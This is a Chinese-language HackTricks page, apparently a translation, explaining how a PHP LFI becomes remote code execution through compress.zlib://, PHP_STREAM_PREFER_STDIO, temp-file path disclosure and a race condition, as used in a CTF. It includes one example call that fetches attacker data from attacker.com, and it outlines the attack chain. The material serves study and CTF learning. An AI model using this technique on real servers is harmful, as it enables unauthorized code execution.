LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

WhiteIntel是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件侵害

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:


compress.zlib://PHP_STREAM_PREFER_STDIO

使用协议compress.zlib://和标志PHP_STREAM_PREFER_STDIO打开的文件可以继续将后续到达的数据写入到同一文件中。

这意味着可以进行如下调用:

file_get_contents("compress.zlib://http://attacker.com/file")

将发送一个请求,请求http://attacker.com/file,然后服务器可能会用一个有效的HTTP响应来回应该请求,保持连接打开,并在一段时间后发送额外的数据,这些数据也将被写入文件。

您可以在php-src代码的main/streams/cast.c部分看到这些信息:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

这个CTF 是使用之前的技巧解决的。

攻击者将使受害者服务器打开一个连接,从攻击者服务器读取文件,使用**compress.zlib**协议。

这个连接存在的同时,攻击者将窃取临时文件的路径(被服务器泄露)。

连接仍然打开的情况下,攻击者将利用LFI加载他控制的临时文件**。

然而,Web服务器中有一个检查,阻止加载包含<?的文件。因此,攻击者将滥用竞争条件。在仍然打开的连接中,攻击者将在Web服务器检查文件是否包含禁止字符之后发送PHP有效载荷,但在加载其内容之前

有关更多信息,请查看竞争条件和CTF的描述https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel 是一个由暗网推动的搜索引擎,提供免费功能,以检查公司或其客户是否受到窃取恶意软件威胁

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于